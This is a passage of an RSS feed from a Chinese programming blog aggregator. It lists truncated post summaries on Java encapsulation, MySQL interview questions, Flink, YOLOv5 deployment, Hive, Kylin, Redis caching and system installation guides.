      <description>面向对象三大特性 1.封装 引言 在我们的项目中只有一个实现类main，在main中将类实例化为对象，通过对象来调用类中的方法，属性，有参与无参构造函数，对私有属性private的访问get/set方法在类中具有方法，属性，有参与无参构造函数，对私有属性private的访问get/set方法 该露的露，该藏得藏 我们程序设计要追求 “高内聚，低耦合”。高内聚就是将类的内部数据操作细节自己完成，不允许外部干涉；低耦合：尽量暴露少量的方法给外部使用。 封装（数据的隐藏） 通常，应禁止直接访问一个对象中数据的实际表示，而应通过操作接口来访问，这称为信息隐藏。 通过private 达到属性私有;通过 get / set来访问数据 ; 有时候我们可在set方法中做一些数据安全性的判断。 封装的好处： 1.提高程序的安全性，保护数据2.隐藏代码的实现细节3.统一接口4.系统可维护性增加了 1.1 封装代码演示： package oopdemo01; import oopdemo01.demo03.Pet; import oopdemo01.demo04.Student; public class Application { public static void main(String[] args) { Student s1 = new Student(); System.out.println(s1.getName());//null s1.setName(&#34;小明&#34;);//通过get/set方法来给实例化后的对象的某些私有属性赋初值 s1.setAge(100);//不合法 System.out.println(s1.getName());//输出快捷键：s1.getName().sout+回车 System.out.println(s1.getAge()); } } package oopdemo01.demo04; public class Student { //类 private:属性私有 private String name;// 名字 private int age; // 年龄 private int id; // 学号 private char sex; // 性别 public void study(){ } //提供一些可以操作这个属性的方法 //public的get，set方法 // set/get 快捷键 Alt+insert 选get and set 按住Ctrl加鼠标是多选 //get 获得这个数据 public String getName(String name){ return name; } // set 给这个数据设置值 public void setName(String name){ this.</description>
    </item>
    <item>
      <title>MySQL经典100问</title>
      <link>https://bchobby.github.io/posts/a91a6192c4908a59cb28bde08f0b96b3/</link>
      <pubDate>Sat, 28 May 2022 15:01:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a91a6192c4908a59cb28bde08f0b96b3/</guid>
      <description>目录&#xA;常规篇&#xA;1、说一下数据库的三大范式？ 2、只查询一条数据，但是也执行非常慢，原因一般有哪些？&#xA;3、count(*)、count(0)、count(id)实现方式的区别？&#xA;4、误删数据怎么办？&#xA;5、drop、truncate 和 delete 的区别&#xA;6、MySQL大表查询为什么不会爆内存？&#xA;7、深度分页（超大分页）怎么处理?&#xA;8、日常开发中你是怎么优化SQL的？&#xA;9、MySQL 的并发连接与并发查询什么区别？&#xA;10、MySQL更新字段值为原来的值内部是怎么操作呢？&#xA;11、datetime和timestamp有什么区别？&#xA;12、事务的隔离级别有哪些？&#xA;13、在 MySQL 中有两个 kill 命令&#xA;索引篇&#xA;1、索引分类有哪些？&#xA;2、聚集索引和非聚集索引有什么区别？&#xA;3、InnoDB 为什么设计B+树，而不是B-Tree，Hash，二叉树，红黑树？&#xA;4、讲一讲聚簇索引与非聚簇索引？&#xA;5、非聚簇索引一定会回表查询吗？&#xA;6、讲一讲MySQL的最左前缀原则？&#xA;7、什么是索引下推？&#xA;8、Innodb为什么要用自增id作为主键？&#xA;9、事务ACID特性的实现原理？&#xA;10、MyISAM和InnoDB实现B树索引方式的区别是什么？&#xA;11、索引有哪些分类？&#xA;12、有哪些场景会导致索引失效？&#xA;方案篇&#xA;1、有一个未分库分表的系统，如何设计才可以让系统动态切换到分库分表上？&#xA;2、如何设计可以动态扩容缩容的分库分表方案？ 原理篇&#xA;1、一条 MySQL 语句执行步骤是什么样的？&#xA;2、order by 排序内部原理是什么样的？&#xA;3、MVCC 实现原理？&#xA;4、change buffer是什么，有何作用？&#xA;5、MySQL是如何保证数据不丢失?&#xA;6、为什么删除了表，表文件的大小还是没变？&#xA;7、binlog三种格式对比&#xA;8、MySQL加锁规则&#xA;9、什么是脏读、不可重复读、幻读呢？&#xA;10、MySQL都有哪些锁呢?像上面那样子进行锁定岂不是有点阻碍并发效率了?&#xA;框架篇&#xA;1、Mysql 主从复制原理的是啥？&#xA;2、Mysql主从复制同步方式有哪些？&#xA;3、Mysql主从同步延时产生原因?怎么优化？&#xA;4、Mysql主从同步延时产生原因?怎么优化？&#xA;5、主库出问题如何完成主从库切换?&#xA;6、bin log/redo log/undo log是什么？&#xA;常规篇 1、说一下数据库的三大范式？ 第一范式：确保每列保持原子性；</description>
    </item>
    <item>
      <title>前端使用print.js实现打印</title>
      <link>https://bchobby.github.io/posts/4975cc507268f1a0443bf2fa8801f539/</link>
      <pubDate>Sat, 28 May 2022 13:27:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4975cc507268f1a0443bf2fa8801f539/</guid>
      <description>前言 项目中经常会用到前端调用浏览器打印的功能，也经常会遇到一些问题，写这篇文章是为了更好的梳理一下相关内容。下面的内容基于vue。&#xA;如果需要用到前端生成二维码可以看我的这篇文章：在vue项目中使用qrcodesjs2生成二维码&#xA;注：以下都是基于edge浏览器进行的，另外身边没有打印机，实际打印效果如何不清楚&#xA;print.js 这里用一下别人写好的库，print-demo&#xA;项目下载下来后，找到print.js，我们只需要这个。如果是vue2的项目直接用就好了，vue3的项目就简单改一下就可以&#xA;// const MyPlugin = {}; // MyPlugin.install = function (Vue, options) { // // 4. 添加实例方法 // Vue.prototype.$print = Print; // }; // export default MyPlugin; export default Print; 如何使用 声明打印区域&#xA;可通过设置class 类名或 id 指定打印区域，但由于vue项目涉及到打包部署，推荐使用ref获取DOM节点，如果使用id或class获取，打包部署后打印内容可能显示空白。&#xA;&amp;lt;div class=&#34;printDom&#34;&amp;gt;指定打印区域&amp;lt;/div&amp;gt; &amp;lt;div id=&#34;printDom&#34;&amp;gt;指定打印区域&amp;lt;/div&amp;gt; &amp;lt;div ref=&#34;printDom&#34;&amp;gt;指定打印区域&amp;lt;/div&amp;gt; 调用打印方法&#xA;vue2 项目 //main.js import Print from &#39;./print&#39;; Vue.use(Print); // xx.vue this.$print(this.$refs.printDom, {}); vue3项目，在需要使用的页面，引入方法，然后方法调用。 声明不打印区域&#xA;声明&#34;no-print&#34;类名 ，此时print方法中，不需要特意声明，默认会剔除.no-print区域 &amp;lt;div class=&#34;no-print&#34;&amp;gt;不打印区域&amp;lt;/div&amp;gt; Print(&#39;#printDom&#39;); 自定义类名，此时需要在print方法中通过&#34;noPrint&#34;属性指定不打印区域 &amp;lt;div class=&#34;</description>
    </item>
    <item>
      <title>Flatmap三大功能</title>
      <link>https://bchobby.github.io/posts/7b4cda504a9178c43274c86b072d4d57/</link>
      <pubDate>Sat, 28 May 2022 08:50:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7b4cda504a9178c43274c86b072d4d57/</guid>
      <description>1，压平切分：&#xA;2，转换数据结构：&#xA;3，过滤：因为flatmap的返回值是void，所以数据可以直接写出去&#xA;//TODO 3.将数据转换为JSON对象 SingleOutputStreamOperator&amp;lt;JSONObject&amp;gt; jsonObjDS = pageStringDS.map(JSON::parseObject); //TODO 4.过滤数据,只需要访问主页跟商品详情页的数据 SingleOutputStreamOperator&amp;lt;JSONObject&amp;gt; homeAndDetailPageDS = jsonObjDS.filter(new FilterFunction&amp;lt;JSONObject&amp;gt;() { @Override public boolean filter(JSONObject value) throws Exception { String pageId = value.getJSONObject(&#34;page&#34;).getString(&#34;page_id&#34;); return &#34;good_detail&#34;.equals(pageId) || &#34;home&#34;.equals(pageId); } }); //使用FlatMap代替 // pageStringDS.flatMap(new FlatMapFunction&amp;lt;String, JSONObject&amp;gt;() { // @Override // public void flatMap(String value, Collector&amp;lt;JSONObject&amp;gt; out) throws Exception { // JSONObject jsonObject = JSON.parseObject(value); // String pageId = jsonObject.getJSONObject(&#34;page&#34;).getString(&#34;page_id&#34;); // if (&#34;good_detail&#34;.equals(pageId) || &#34;home&#34;.equals(pageId)) { // out.</description>
    </item>
    <item>
      <title>Yolov5笔记--RKNN推理部署源码的粗略理解</title>
      <link>https://bchobby.github.io/posts/f3e71c2a6411eefb7d9d2d6dd023517c/</link>
      <pubDate>Fri, 27 May 2022 17:10:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f3e71c2a6411eefb7d9d2d6dd023517c/</guid>
      <description>1--基础知识 ①Yolov5的输出&#xA;格式一般为a × b × c × 85的形式，其中a*b*c表示框的数目，85则涵盖框的位置信息（x，y，w，h）、置信度Pc和80个类别的预测概率c1，...，c80。下图展示了不同版本Yolov5的输出信息：&#xA;②阈值过滤锚框&#xA;简要介绍两种过滤锚框的方法：&#xA;A：利用置信度（box_confidence，即Pc）和预测概率（box_class_probs，即c1，...，c80）计算锚框的得分（box_scores），如果最高的得分高于过滤阈值（threshold），则保留该锚框的信息，反之过滤该锚框。&#xA;B：利用非线性激活函数（如Sigmoid）函数等处理置信度（box_confidence，即Pc），将最高的结果与过滤阈值比较，高则保留，低则过滤。（RKNN提供的方式）&#xA;③非极大值抑制（NMS）&#xA;通过计算交并比（intersection over Union，IOU）进一步过滤锚框。&#xA;IOU介绍：IOU即两个矩形框的交集面积与并集面积的比值。&#xA;简略介绍Yolov5利用NMS过滤锚框的一种方法：计算IOU的值，若value≤NMS_THRESH，则保留锚框，反之去除。&#xA;2--RKNN部署Yolov5源码 项目地址：rknn-toolkit2&#xA;import os import urllib import traceback import time import sys import numpy as np import cv2 from rknn.api import RKNN ONNX_MODEL = &#39;yolov5s.onnx&#39; RKNN_MODEL = &#39;yolov5s.rknn&#39; IMG_PATH = &#39;./bus.jpg&#39; DATASET = &#39;./dataset.txt&#39; QUANTIZE_ON = True BOX_THESH = 0.5 NMS_THRESH = 0.6 IMG_SIZE = 640 CLASSES = (&#34;person&#34;, &#34;bicycle&#34;, &#34;</description>
    </item>
    <item>
      <title>语义分割和目标检测是什么关系？</title>
      <link>https://bchobby.github.io/posts/acdc81330be974d0fbedfae760e6fa24/</link>
      <pubDate>Fri, 27 May 2022 12:01:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/acdc81330be974d0fbedfae760e6fa24/</guid>
      <description> 首先，让我们看一下语义分割和目标检测的目标分别是什么？&#xA;语义分割的目标 语义分割的任务是对输入的图像进行逐像素的分类，标记出像素级别的物体。&#xA;如上图，图1中把猫、天空、树、草地进行了逐像素的分类；图2中把牛、天空、树、草地进行了逐像素的分类。&#xA;目标检测的目标 目标检测的任务是对输入的图像进行物体检测，标注物体在图像上的位置，以及该位置上物体属于哪个分类。&#xA;如上图，模型把图中的人、狗、马分别进行了位置标注，并且也给出了对应的分类类别。&#xA;两种任务的异同之处： 一、从大方向的任务特点上来说 从大方向的任务特点来说，语义分割和目标检测任务目标都在意两个关键信息：&#xA;1）物体的位置 待检测的物体，它在图像中位于什么位置。&#xA;对于语义分割来说，这个信息需求的精准度在像素级别的。概括地说，我们需要把物体的轮廓描绘出来，以此来体现它的位置信息。&#xA;对于目标检测来说，这个信息需求的精准度仅在标注其外切矩形。换句话来说，把物体框出来，以此来体现它的位置信息。&#xA;2）物体的分类 有了位置信息之后，语义分割和目标检测都存在对物体的分类。不同的是：&#xA;对于语义分割来说，它提供的信息中位置信息和分类信息是有重叠的，即通过标记每个像素的分类，同时也达到提供位置信息。&#xA;对于目标检测来说，分类信息是针对每个标注的框的，每一个框对应着自己的分类。&#xA;二、从数据格式来说 正如前文所说，由于在任务的目标上存在着一些区别，这就使得它们需要不同的数据格式进行标注。&#xA;1）语音分割的数据格式 如上图，这张图中先验是5个类别。在分类中，会有5个channel，每个channel负责一个类别的概率预测。最后，每个像素上，以5个channel中的最大值作为最终分类，以此完成图像语义分割的标注工作。&#xA;2）目标检测的数据格式 从上图中我们可以看到，对于目标检测的数据格式分为了两个部分，分类和框的坐标。具体体现为：&#xA;分类最终体现在对每个潜在框分类的1*1*channel上，每个channel代表一个分类，取值最大的channel作为最终分类；位置信息会用4个值来保存：被分类的物体中它的框的坐标则为左上角的x和y坐标，以及宽和高的尺寸。&#xA;共享上游的特征提取网络 无论是语义分割和目标检测任务，它们都有一个特征提取的backbone。它们通常是从图像分类网络中进行嫁接的。当我们发现有性能更佳的分类网络时，把它嫁接到语义分割或目标检测上，通常也能带动下游任务性能的提升。&#xA;如上图，在Mask RCNN中，它同时处理了语义分割和目标检测的任务，在此网络的上游阶段，它们共享着ResNet的backbone网络。&#xA;小结 语义分割和目标检测，它们有着类似的任务目标，把物体标注出来，并且标记物体的具体分类信息。不同的是，语义分割所标记的物体是像素级别的颗粒度的，而目标检测标记的物体是其外切框。&#xA;不过，虽然存在着不同的任务细节特点，但是它们在网络上游上具有相同的特征提取的需求，于是，它们可以共享以图像分类为backbone的特征提取网络。&#xA;往期精彩回顾 适合初学者入门人工智能的路线及资料下载(图文+视频)机器学习入门系列下载中国大学慕课《机器学习》（黄海广主讲）机器学习及深度学习笔记等资料打印《统计学习方法》的代码复现专辑机器学习交流qq群955171419，加入微信群请扫码 </description>
    </item>
    <item>
      <title>麒麟v10网络配置</title>
      <link>https://bchobby.github.io/posts/42165f854815166e7d74a7c484b30dc5/</link>
      <pubDate>Fri, 27 May 2022 10:42:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/42165f854815166e7d74a7c484b30dc5/</guid>
      <description> </description>
    </item>
    <item>
      <title>数据库day04</title>
      <link>https://bchobby.github.io/posts/cf4938775bca604a176edd85b7c5b53e/</link>
      <pubDate>Thu, 26 May 2022 20:55:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cf4938775bca604a176edd85b7c5b53e/</guid>
      <description>-- 如果存在就删除名为hrs的数据库 drop database if exists `hrs`; -- 创建名为hrs的数据库并指定默认的字符集 create database `hrs` default charset utf8mb4; -- 切换到hrs数据库 use `hrs`; -- 创建部门表 create table `tb_dept` ( `dno` int not null comment &#39;编号&#39;, `dname` varchar(10) not null comment &#39;名称&#39;, `dloc` varchar(20) not null comment &#39;所在地&#39;, primary key (`dno`) ); -- 插入4个部门 insert into `tb_dept` values (10, &#39;会计部&#39;, &#39;北京&#39;), (20, &#39;研发部&#39;, &#39;成都&#39;), (30, &#39;销售部&#39;, &#39;重庆&#39;), (40, &#39;运维部&#39;, &#39;深圳&#39;); -- 创建员工表 create table `tb_emp` ( `eno` int not null comment &#39;员工编号&#39;, `ename` varchar(20) not null comment &#39;员工姓名&#39;, `job` varchar(20) not null comment &#39;员工职位&#39;, `mgr` int comment &#39;主管编号&#39;, `sal` int not null comment &#39;员工月薪&#39;, `comm` int comment &#39;每月补贴&#39;, `dno` int not null comment &#39;所在部门编号&#39;, primary key (`eno`), constraint `fk_emp_mgr` foreign key (`mgr`) references tb_emp (`eno`), constraint `fk_emp_dno` foreign key (`dno`) references tb_dept (`dno`) ); -- 插入14个员工 insert into `tb_emp` values (7800, &#39;张三丰&#39;, &#39;总裁&#39;, null, 9000, 1200, 20), (2056, &#39;乔峰&#39;, &#39;分析师&#39;, 7800, 5000, 1500, 20), (3088, &#39;李莫愁&#39;, &#39;设计师&#39;, 2056, 3500, 800, 20), (3211, &#39;张无忌&#39;, &#39;程序员&#39;, 2056, 3200, null, 20), (3233, &#39;丘处机&#39;, &#39;程序员&#39;, 2056, 3400, null, 20), (3251, &#39;张翠山&#39;, &#39;程序员&#39;, 2056, 4000, null, 20), (5566, &#39;宋远桥&#39;, &#39;会计师&#39;, 7800, 4000, 1000, 10), (5234, &#39;郭靖&#39;, &#39;出纳&#39;, 5566, 2000, null, 10), (3344, &#39;黄蓉&#39;, &#39;销售主管&#39;, 7800, 3000, 800, 30), (1359, &#39;胡一刀&#39;, &#39;销售员&#39;, 3344, 1800, 200, 30), (4466, &#39;苗人凤&#39;, &#39;销售员&#39;, 3344, 2500, null, 30), (3244, &#39;欧阳锋&#39;, &#39;程序员&#39;, 3088, 3200, null, 20), (3577, &#39;杨过&#39;, &#39;会计&#39;, 5566, 2200, null, 10), (3588, &#39;朱九真&#39;, &#39;会计&#39;, 5566, 2500, null, 10); 1.</description>
    </item>
    <item>
      <title>Hive MR和Tez 启用Local模式</title>
      <link>https://bchobby.github.io/posts/628bdb5dd9e3ff19516b2b1c388d9ca8/</link>
      <pubDate>Thu, 26 May 2022 20:07:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/628bdb5dd9e3ff19516b2b1c388d9ca8/</guid>
      <description>1.说明 启动local模式,就是让hive的任务不运行在yarn上面。直接当前的服务器执行&#xA;2.优点 当我们对Hive的源码进行Debug，且代码需要Debug到每个task内部时，如果任务是执行在yarn模式的话，那么是无法打断点的，需要进入local模式才能打断点&#xA;3.MR 当引擎为MR时，需要修改以下参数，可以修改配置文件hive-site.xml，也可以通过set来生效&#xA;3.1 hive-site.xml &amp;lt;property&amp;gt; &amp;lt;name&amp;gt;hive.exec.mode.local.auto&amp;lt;/name&amp;gt; &amp;lt;value&amp;gt;true&amp;lt;/value&amp;gt; &amp;lt;/property&amp;gt; &amp;lt;property&amp;gt; &amp;lt;name&amp;gt;hive.exec.mode.local.auto.inputbytes.max&amp;lt;/name&amp;gt; &amp;lt;value&amp;gt;134217728&amp;lt;/value&amp;gt; &amp;lt;/property&amp;gt; &amp;lt;property&amp;gt; &amp;lt;name&amp;gt;hive.exec.mode.local.auto.input.files.max&amp;lt;/name&amp;gt; &amp;lt;value&amp;gt;10&amp;lt;/value&amp;gt; &amp;lt;/property&amp;gt; 3.2 set模式 -- 是否开启local模式 set hive.exec.mode.local.auto=true; -- 输入最大数据量，默认128MB set hive.exec.mode.local.auto.inputbytes.max=134217728; -- 最大任务数 set hive.exec.mode.local.auto.input.files.max=10; 4.Tez 当引擎为Tez时，需要修改tez的配置文件tez-site.xml，如果通过set来执行将不生效&#xA;4.1 tez-site.xml &amp;lt;property&amp;gt; &amp;lt;name&amp;gt;tez.local.mode&amp;lt;/name&amp;gt; &amp;lt;value&amp;gt;true&amp;lt;/value&amp;gt; &amp;lt;/property&amp;gt; &amp;lt;property&amp;gt; &amp;lt;name&amp;gt;tez.grouping.split-count&amp;lt;/name&amp;gt; &amp;lt;value&amp;gt;1&amp;lt;/value&amp;gt; &amp;lt;/property&amp;gt; 说明：tez.grouping.split-count和上面的hive.exec.mode.local.auto.input.files.max类似</description>
    </item>
    <item>
      <title>LINUX安装BAZEL</title>
      <link>https://bchobby.github.io/posts/eb49e7cf6f384c1e5505f770ac308fdd/</link>
      <pubDate>Thu, 26 May 2022 17:59:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/eb49e7cf6f384c1e5505f770ac308fdd/</guid>
      <description>linux源码安装bazel - 灰信网（软件开发博客聚合）&#xA;bazel国内镜像地址&#xA;​​​​​​Bazel 国内加速下载 | newbe&#xA;Linux安装unzip_yuxuan364的博客-CSDN博客_linux 安装unzip&#xA;先apt-get update，再apt-get install vim：</description>
    </item>
    <item>
      <title>Apache Kylin 历险记</title>
      <link>https://bchobby.github.io/posts/1712f7d0fd3a659682d91d993f960e11/</link>
      <pubDate>Thu, 26 May 2022 17:45:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1712f7d0fd3a659682d91d993f960e11/</guid>
      <description>1. Kylin 概述 1.1 Kylin 定义 Apache Kylin(麒麟)是一个开源的分布式分析引擎，提供Hadoop/Spark之上的SQL查询接口及多维分析（OLAP）能力以支持超大规模数据，最初由eBay Inc开发并贡献至开源社区。它能在亚秒内查询巨大的Hive表。&#xA;官网：https://kylin.apache.org/cn&#xA;1.2 Kylin特点 Kylin的主要特点包括支持SQL接口、支持超大规模数据集、亚秒级响应、可伸缩性、高吞吐率、BI工具集成等。&#xA;标准SQL接口：Kylin是以标准的SQL作为对外服务的接口。&#xA;支持超大数据集：Kylin对于大数据的支撑能力可能是目前所有技术中最为领先的。早在2015年eBay的生产环境中就能支持百亿记录的秒级查询，之后在移动的应用场景中又有了千亿记录秒级查询的案例。&#xA;亚秒级响应：Kylin拥有优异的查询相应速度，这点得益于预计算，很多复杂的计算，比如连接、聚合，在离线的预计算过程中就已经完成，这大大降低了查询时刻所需的计算量，提高了响应速度。&#xA;可伸缩性和高吞吐率：单节点Kylin可实现每秒70个查询，还可以搭建Kylin的集群。&#xA;BI工具集成，Kylin可以与现有的BI工具集成，具体包括如下内容。&#xA;ODBC：与Tableau、Excel、PowerBI等工具集成&#xA;JDBC：与Saiku、BIRT等Java工具集成&#xA;RestAPI：与JavaScript、Web网页集成&#xA;Kylin开发团队还贡献了Zepplin的插件，也可以使用Zepplin来访问Kylin服务。&#xA;1.3 预备知识 1.3.1 Data Warehouse(数据仓库) 数据仓库是一个各种数据 （包括历史数据和当前数据）的中心存储系统，是 BI (business intelligence ，商业智能) 的核心部件。&#xA;1.3.2 事实表 &amp;amp; 维表 在维度建模中，将度量称为“事实” ，将环境描述为“维度”。维度是用于分析事实所需要的多样环境。例如，在分析交易过程时，可以通过买家、卖家、商品和时间等维度描述交易发生的环境。事实则紧紧围绕着业务过程来设计，通过获取描述业务过程的度量来表达业务过程，包含了引用的维度和与业务过程有关的度量。例如订单作为交易行为的核心载体，直观反映了交易的状况。订单的流转会产生很多业务过程，而下单、支付和成功完结三个业务过程是整个订单的关键节点。获取这三个业务过程的笔数、金额以及转化率是日常数据统计分析的重点，事务事实表设计可以很好地满足这个需求。&#xA;1.3.3 维度 即观察数据的角度。比如员工数据，可以从性别角度来分析，也可以更加细化，从入职时间或者地区的维度来观察。维度是一组离散的值，比如说性别中的男和女，或者时间维度上的每一个独立的日期。因此在统计时可以将维度值相同的记录聚合在一起，然后应用聚合函数做累加、平均、最大和最小值等聚合计算。&#xA;1.3.4 度量 即被聚合（观察）的统计值，也就是聚合运算的结果。比如说员工数据中不同性别员工的人数，又或者说在同一年入职的员工有多少。&#xA;1.3.5 Business Intelligence (商业职能) 商业智能通常被理解为将企业中现有的数据 转化为知识，帮助企业做出明智的业务经营决策的工具。为了将数据转化为知识，需要利用数据仓库 、联机分析处理（ OLAP ）工具和数据挖掘等技术。&#xA;1.3.6 OLAP(online analytical processing) OLAP是一种软件技术，它使分析人员能够迅速、一致、交互地 从各个方面观察信息 ，以达到深入理解数据的目的。从各方面观察信息，也就是从不同的维度分析数据，因此 OLAP 也成为 多维分析。&#xA;1.3.7 ROLAP &amp;amp; MOLAP ROLAP : 基于关系型数据库，不需要预计算。</description>
    </item>
    <item>
      <title>Windows10下载到U盘怎么安装？</title>
      <link>https://bchobby.github.io/posts/dd3128705b238c00a6cadbc476bd9e4f/</link>
      <pubDate>Thu, 26 May 2022 15:57:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dd3128705b238c00a6cadbc476bd9e4f/</guid>
      <description>Windows10系统是目前主流的操作系统之一，很多用户把Win10系统下载到U盘后不知道怎么安装了，那么下面小编就给大家分享一下Windows10下载到U盘的具体安装教程。&#xA;准备工作：&#xA;1、U盘一个（尽量使用8G以上的U盘）。&#xA;2、在本页面下载U盘启动盘制作工具：系统之家装机大师。&#xA;3、ghost或ISO系统镜像文件（Win10系统下载_Win10专业版_windows10正式版下载 - 系统之家）。&#xA;4、一台正常联网可使用的电脑。&#xA;U盘启动盘制作步骤：&#xA;注意：制作期间，U盘会被格式化，因此U盘中的重要文件请注意备份。如果需要安装系统的是C盘，重要文件请勿放在C盘和桌面上。&#xA;1、首先，关闭所有的杀毒软件，然后运行系统之家装机大师软件，软件会进行提示，仔细阅读后，点击我知道了进入工具。&#xA;2、进入工具后，在最上方选择U盘启动，进入U盘启动盘制作界面。&#xA;3、保留默认格式和分区格式，无需手动更改。点击开始制作。&#xA;4、工具会自动提示是否开始制作。注意：制作工具将会清理U盘中所有的数据且不可恢复，请提前存储U盘中重要数据文件。&#xA;5、等待U盘制作完毕。&#xA;6、U盘制作完毕后，工具会进行提示，并且显示当前电脑的开机U盘启动快捷键。&#xA;7、制作完毕后，需要测试当前U盘启动盘是否制作完成。需要点击右下方 模拟启动-BIOS启动，查看当前U盘启动盘是否制作成功。&#xA;8、稍等片刻，成功显示此界面则为成功。&#xA;9、然后关闭软件，用户需要将下载好的系统移动到U盘中即可。&#xA;U盘装Win10：&#xA;1、查找自己电脑主板的U盘启动盘快捷键。&#xA;2、U盘插入电脑，重启电脑按快捷键选择U盘为第一启动项。进入后，键盘↑↓键选择第二个【02】启动Windows10PEx64（网络版），然后回车。&#xA;3、进入PE界面后，点击桌面的一键重装系统。&#xA;4、打开工具后，点击浏览选择U盘中的下载好的系统镜像ISO。选择后，再选择系统安装的分区，一般为C区，如若软件识别错误，需用户自行选择。&#xA;5、选择完毕后点击下一步。&#xA;6、此页面直接点击安装即可。&#xA;7、系统正在安装，请等候。&#xA;8、系统安装完毕后，软件会自动提示需要重启，并且拔出U盘，请用户拔出U盘再重启电脑。&#xA;9、重启后，系统将自动进入系统安装界面，到此，装机就成功了！</description>
    </item>
    <item>
      <title>统信UOS家庭版安装VMware16</title>
      <link>https://bchobby.github.io/posts/39678588cd08c64c16af47d87cf88163/</link>
      <pubDate>Thu, 26 May 2022 15:54:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/39678588cd08c64c16af47d87cf88163/</guid>
      <description> 统信UOS可用的VMware版本，亲测可用：&#xA;链接: https://pan.baidu.com/s/1qCVtka-kfzQVkJGBEQZxVw 提取码: trpr 安装方法 首先把下载人vmware拷到桌面安装 root@UOS:/home/UOS/Desktop# ls 视频 com.baidu.baidunetdisk.desktop dde-trash.desktop 照片 dde-computer.desktop VMware-Workstation-Full-16.2.3-19376536.x86_64.bundle root@UOS:/home/UOS/Desktop# sudo chmod +x VMware-Workstation-Full-16.2.3-19376536.x86_64.bundle root@UOS:/home/UOS/Desktop# sudo ./VMware-Workstation-Full-16.2.3-19376536.x86_64.bundle Extracting VMware Installer...done. Installing VMware Workstation 16.2.3 Configuring... [######################################################################] 100% Installation was successful. # 看到successful说明成功了 root@UOS:/home/UOS/Desktop# </description>
    </item>
    <item>
      <title>正则表达式 划分省市区（直辖市和附详细地址包括市，区）</title>
      <link>https://bchobby.github.io/posts/3c594ca422d9fc2df34950e3bab61882/</link>
      <pubDate>Thu, 26 May 2022 12:40:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3c594ca422d9fc2df34950e3bab61882/</guid>
      <description>目前有需求是将省市区从详细地址中提取出来。这里选择用正则表达式，语言使用C#。&#xA;查阅一般用于区分省市区的正则表达式，编写如下代码：&#xA;using System; using System.Text.RegularExpressions; class Demo { static void Main() { string str = &#34;内蒙古自治区巴彦淖尔市临河区新华东街三河小区康家电维修部&#34;; str = str.Replace(&#34; &#34;, &#34;&#34;); String regex = &#34;(?&amp;lt;province&amp;gt;[^省]+省|.+自治区)(?&amp;lt;city&amp;gt;[^自治州]+自治州|[^市]+市|[^盟]+盟|[^地区]+地区|.+区划)(?&amp;lt;county&amp;gt;[^市]+市|[^县]+县|[^旗]+旗|.+区)?(?&amp;lt;town&amp;gt;[^区]+区|.+镇)?(?&amp;lt;village&amp;gt;.*)&#34;; string[] res = Regex.Split(str, regex); foreach (string word in res) { Console.WriteLine(word); } } } 要么不能区分出直辖市，要么当详细地址中包括小区，或者市的字段时，会有如下情况出现：&#xA;使用 string str = &#34;浙江省台州市温岭市新华东街三河小区康家电维修部&#34;;时出现如下情况：&#xA;提供解决方案为，划分到区县一级（county）时，正则表达式的匹配规则改为同时匹配（区|市|县|旗|岛|海域），按第一次出现的区|市|县|旗|岛|海域）值进行划分。 using System; using System.Text.RegularExpressions; class Demo { static void Main() { string str = &#34;浙江省台州市温岭市新华东街三河小区康家电维修部&#34;; str = str.Replace(&#34; &#34;, &#34;&#34;); string regex = &#34;</description>
    </item>
    <item>
      <title>基于redis的数据结构做缓存分页利弊</title>
      <link>https://bchobby.github.io/posts/27da4a3dc8b70e7c589abccf31597017/</link>
      <pubDate>Thu, 26 May 2022 11:06:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/27da4a3dc8b70e7c589abccf31597017/</guid>
      <description>①：基于redis的list数据结构，直接通过list的数据结构，用range方法可以进行分页，在数据量大的时候，性能也很可观，但是当存在接口高并发访问时，&#xA;这个list可能会无限延长，且里面的数据会存在很多重复，这就会影响到正常的业务(不是很推荐)；&#xA;②：基于redis的ZSet数据结构，通过Zset这个有序集合我们也可以做分页，同样也是用range方法，但是这里比较麻烦的是在初始化数据的时候Zset必须存放TypedTuple类型的数据，&#xA;这个类型是一个value和score的键值对，具体可以查百度，&#xA;这个score的生成比较麻烦我这边测试时用的是当前数据在这个list的位置，然后Zset是根据这个score值来排序的，默认是从小到大；用这个的好处是，即使在高并发情况下Zset中也&#xA;不会存在重复数据从而影响正常的业务；而且分页效率也和list结构差不多；&#xA;③：用hash和Zset来一起实现；这个是问了一个朋友和得知的，Zset中存储有序的id字段，通过分页后拿到id，然后再用id去hash中取，感觉应该效率相差不大的，&#xA;只是中间多了层从hash结构取，还需要维护又一个hash；(为何这样做我也不清楚)；&#xA;设置缓存后无法保证数据库的一致性！ 如果强制保证使用锁的话这样性能会遭到损失。 所以性能和数据的一致性只能选择一个。&#xA;先更新数据库 + 再删除缓存」&#xA;异步重试。什么是异步重试？&#xA;缓存延迟双删策略。&#xA;问题1：延迟时间要大于「主从复制」的延迟时间&#xA;问题2：延迟时间要大于线程 B 读取数据库 + 写入缓存的时间&#xA;一旦我们决定使用缓存，那必然要面临一致性问题。性能和一致性就像天平的两端，无法做到都满足要求。 「更新数据库 + 更新缓存」、「更新数据库 + 删除缓存」&#xA;性能和一致性不能同时满足，为了性能考虑，通常会采用「最终一致性」的方案&#xA;2、掌握缓存和数据库一致性问题，核心问题有 3 点：缓存利用率、并发、缓存 + 数据库一起成功问题&#xA;3、失败场景下要保证一致性，常见手段就是「重试」，同步重试会影响吞吐量，所以通常会采用异步重试的方案&#xA;4、订阅变更日志的思想，本质是把权威数据源（例如 MySQL）当做 leader 副本，让其它异质系统（例如 Redis / Elasticsearch）成为它的 follower 副本，通过同步变更日志的方式，保证 leader 和 follower 之间保持一致&#xA;超卖问题：&#xA;第二种解决：在数据库中将用户id和商品id加上唯一索引解决</description>
    </item>
    <item>
      <title>keras.backend</title>
      <link>https://bchobby.github.io/posts/9a69236dfb4ce69e3f9d3c8c90b8ba02/</link>
